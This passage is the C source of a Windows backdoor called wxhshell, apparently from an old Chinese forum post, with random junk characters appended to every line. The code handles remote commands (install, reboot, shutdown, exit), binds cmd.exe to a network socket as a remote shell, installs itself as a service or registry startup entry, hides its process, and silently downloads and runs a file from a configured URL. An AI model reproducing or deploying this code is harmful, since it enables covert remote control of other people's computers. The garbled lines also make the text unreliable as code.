  case 'i': { SHcFnxEAIH  
    if(Install()) v^A4%e<8^r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o*5iHa(Qm  
    else Hs6?4cgj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fGtYvl O-5  
    break; kMS&"/z  
    } B r`a;y T  
  // 卸载 -w'_Q"o2  
  case 'r': { oeKVcVP|'&  
    if(Uninstall()) Wxeg(L}E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b@s6jNhVO^  
    else HP,sNiw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1U?,}w   
    break; Sdo mG?;kV  
    } n5qg6(Tl]  
  // 显示 wxhshell 所在路径 6, ~Y(#  
  case 'p': { fV(WUN+  
    char svExeFile[MAX_PATH]; 3u,CI!  
    strcpy(svExeFile,"\n\r"); {wL30D^  
      strcat(svExeFile,ExeFile); .D8|_B  
        send(wsh,svExeFile,strlen(svExeFile),0); /}kG$ ~  
    break; z?3t^UPW  
    } D\H;_k8  
  // 重启 T1~G {@"  
  case 'b': { ;}>g/lw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]_5qME#N  
    if(Boot(REBOOT)) Mil+> X0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `m")v0n3  
    else { my]t[%Q{  
    closesocket(wsh); ZZ*+Tl\ s  
    ExitThread(0); +x(~!33[G  
    } "h`oT4j5q  
    break; =bHS@h8N<  
    } QWQJSz5  
  // 关机 [:BD9V  
  case 'd': { uB1>.Pvxb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ks|c'XQb  
    if(Boot(SHUTDOWN)) (ebC80M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "xdu h3/~=  
    else { EA``G8Vn>  
    closesocket(wsh); GoUsB|-\  
    ExitThread(0); wrhGZ=k{  
    } /$'|`jKsB  
    break; E' _6v  
    } ]8+ D  
  // 获取shell nh'TyUd!  
  case 's': { /UG]hJ-wn  
    CmdShell(wsh); 80GBkFjV  
    closesocket(wsh); 93VbB[w~7F  
    ExitThread(0); =1r!'<"h  
    break; (jp!q ,)  
  } fNk0&M  
  // 退出 OB4nE}NO  
  case 'x': { 7U1^=Y@t}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1:;S6{oQ  
    CloseIt(wsh); NCa3")k  
    break; 34F;mr"yp  
    } 5V*R  Dh  
  // 离开 ,<s/K  
  case 'q': { i4}+n^oSYo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2DNB?,uP,'  
    closesocket(wsh); @%"r69\  
    WSACleanup(); ]%2y`Jrl^W  
    exit(1); z'01V8e  
    break; -, uT8'  
        } 6L<QKE=  
  } 0[ZB^  
  } 1|dXbyUd  
H7 "r^s]D  
  // 提示信息 @]YEOk-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yb\d(k$h  
} 37 b6w6{D  
  } 0uu)0:  
zJ30ZY:  
  return; Bn{i+8I  
} &LYH >  
@|:yK|6O  
// shell模块句柄 watTV\b  
int CmdShell(SOCKET sock) cD t|v~  
{ n0QHrIf{  
STARTUPINFO si; "*LQr~k~}  
ZeroMemory(&si,sizeof(si)); '#a;n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?G[=pY:=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BtrMv6  
PROCESS_INFORMATION ProcessInfo; O7oq1JI]Y  
char cmdline[]="cmd"; O%f{\Fr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f#McTC3C  
  return 0; @<3kj R?j  
} P@5}}vwS  
$DdC|gMK  
// 自身启动模式 \M;cF "e-S  
int StartFromService(void) NiYT%K%  
{ 8 ,W*)Q  
typedef struct 5+2qx)FZ  
{ ?pWda<&  
  DWORD ExitStatus; s"5nfl  
  DWORD PebBaseAddress;  z31g"  
  DWORD AffinityMask; t&i4kS^y  
  DWORD BasePriority; $Wu|4]o>9  
  ULONG UniqueProcessId; 'Ck:=V%}g  
  ULONG InheritedFromUniqueProcessId; {v"Y!/ [z  
}   PROCESS_BASIC_INFORMATION; {55f{5y3 c  
MDZPp;\)  
PROCNTQSIP NtQueryInformationProcess; Z<*"sFpAO  
7m%[$X`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @; tM R|p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u2IU/z8 ^  
 A"1%E.1  
  HANDLE             hProcess; Gx*B(t]4y  
  PROCESS_BASIC_INFORMATION pbi; %)Z,?DzZ  
>S8 n 8U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q!r&vQ/g  
  if(NULL == hInst ) return 0; _4T7Vg''  
1p$*N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QQ=Kj%R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #.vp \W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P4LiU2C  
96S$Y~G# &  
  if (!NtQueryInformationProcess) return 0; do9~#F  
EnmMFxu<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =q>lP+  
  if(!hProcess) return 0; S..8,5mBH  
A%X=yqY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F8#MI G   
KE~.f(  
  CloseHandle(hProcess); C$$Zwgy  
o2;Eti  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^*+j7A.n  
if(hProcess==NULL) return 0; TRJTJM_k  
WJI}~/z;C  
HMODULE hMod; 76] Z~^Y  
char procName[255]; | O9b  
unsigned long cbNeeded; [XH,~JZJj  
wn|;Li  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s>1\bio*I  
?NvE9+n  
  CloseHandle(hProcess); 4"\x#  
] _W'-B  
if(strstr(procName,"services")) return 1; // 以服务启动 Aar]eY\  
_yF@k~ h  
  return 0; // 注册表启动 !T2{xmHKv$  
} &ld<fa(w+2  
nE?:nJ|%E  
// 主模块 `t44.=%  
int StartWxhshell(LPSTR lpCmdLine) epG]$T![  
{ OH@gwC  
  SOCKET wsl;  !VXy67  
BOOL val=TRUE; >rSCf=  
  int port=0; h~qv_)F_  
  struct sockaddr_in door; c}|} o^  
>;F}>_i  
  if(wscfg.ws_autoins) Install(); 1r*yYm'  
2pv by`P4  
port=atoi(lpCmdLine); X}5"ZLa7l  
F_i"v5#  
if(port<=0) port=wscfg.ws_port; mM2I  
.:4*HB  
  WSADATA data; *3OlWnZ?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qx9; "Ut  
!)CY\c4}d>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vO53?vN[m9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L_|iQwU%  
  door.sin_family = AF_INET; P #8+1iC1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =v!Z8zk=W  
  door.sin_port = htons(port); c6=XJvz  
68w~I7D>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8|$g"? CU  
closesocket(wsl); +fKV/tSWi  
return 1; {?++T 0  
} Jt0/*^'  
 _VM}]A  
  if(listen(wsl,2) == INVALID_SOCKET) { }sJ}c}b  
closesocket(wsl); 9b&;4Yq!f  
return 1; H;@0L}Nu+}  
} 7/fJQM  
  Wxhshell(wsl); 7q 5 \]J[  
  WSACleanup(); I>w|80%%  
( Rp5g}b  
return 0; R#?atL$(  
<Wj /A/  
} cVarvueS  
G(o6/  
// 以NT服务方式启动 sFvYCRw /  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7:=(yBG  
{ 09 f;z  
DWORD   status = 0; {j<?+o5A  
  DWORD   specificError = 0xfffffff; F9(jx#J~t  
a@9W'/?igk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uINEq{yo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D5xTuv9T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^JY:$)4["  
  serviceStatus.dwWin32ExitCode     = 0; ;*U&lT  
  serviceStatus.dwServiceSpecificExitCode = 0; 2#CN:b]+  
  serviceStatus.dwCheckPoint       = 0; +# !?+'A  
  serviceStatus.dwWaitHint       = 0; HCYy9  
%m/5! "  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Jvj* z6/a  
  if (hServiceStatusHandle==0) return; t-iQaobF  
Y(ClG*6 ++  
status = GetLastError(); vS:=%@c>ta  
  if (status!=NO_ERROR) )7AjRtb!/  
{ VG$%Vs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 31M'71s  
    serviceStatus.dwCheckPoint       = 0; h CV(O2jL  
    serviceStatus.dwWaitHint       = 0; xa !/.  
    serviceStatus.dwWin32ExitCode     = status; P8 w56  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~H[_=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !>+m46A  
    return; 4 'vjU6gW  
  } y.gNjc  
)U0I|dx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 46 |LIc }  
  serviceStatus.dwCheckPoint       = 0; (9] =;)  
  serviceStatus.dwWaitHint       = 0; :Fh_Ya0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O-~cj7 0\  
} \ 9sJ`,T?  
_?bF;R  
// 处理NT服务事件,比如:启动、停止 6$csFW3R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) EIg:@o&Jj  
{ SpEu>9g&  
switch(fdwControl) /CbM-jf  
{ nA=E|$1  
case SERVICE_CONTROL_STOP: Qi9M4Yv  
  serviceStatus.dwWin32ExitCode = 0; S6_dmTV*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :&RpB^]  
  serviceStatus.dwCheckPoint   = 0; C6D Eq>v  
  serviceStatus.dwWaitHint     = 0; `YBHBTG'o!  
  { SuBUhzR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y99|V39'  
  } M=EV^Tw-=  
  return; {Z~ze`N/  
case SERVICE_CONTROL_PAUSE: |~Vq"6`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;M *G  
  break; /BM{tH  
case SERVICE_CONTROL_CONTINUE: 0F &(}`V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >[P`$XkXd4  
  break; th{Ib@o  
case SERVICE_CONTROL_INTERROGATE: .bRDz:?j  
  break; N'%l/  
}; KM-7w66V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 88DMD"$B  
} 7X.B  
{iTA=\q2O  
// 标准应用程序主函数 ,sp((SF]1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) okbW.  ~  
{  .V l  
!q^2| %  
// 获取操作系统版本 aR%E"P-6l  
OsIsNt=GetOsVer(); =UZQ` {  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h)X"<a++N  
uCf _O~  
  // 从命令行安装 NHaqT@:  
  if(strpbrk(lpCmdLine,"iI")) Install(); a0&R! E;  
/f!ze|  
  // 下载执行文件 XILreATK@  
if(wscfg.ws_downexe) { )Tf,G[z&ge  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n%ZOR1u)k#  
  WinExec(wscfg.ws_filenam,SW_HIDE); l3YS_WBSn  
} hoZM;wC  
q_h/zPuH'  
if(!OsIsNt) { a,?u 2  
// 如果时win9x,隐藏进程并且设置为注册表启动 'w`9lIax  
HideProc(); KhNO xMZ  
StartWxhshell(lpCmdLine); j\uPOn8k  
} oP`Qyk  
else u 9kh@0  
  if(StartFromService()) PO]c&}/  
  // 以服务方式启动 :qK^71gz  
  StartServiceCtrlDispatcher(DispatchTable); |@pn=wW  
else 9S<at MB  
  // 普通方式启动 3TNj*jo  
  StartWxhshell(lpCmdLine); R9^R G-x  
b|u0a6  
return 0; |j!U/n.%w  
}
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只看该作者 1 发表于: 2006-10-10
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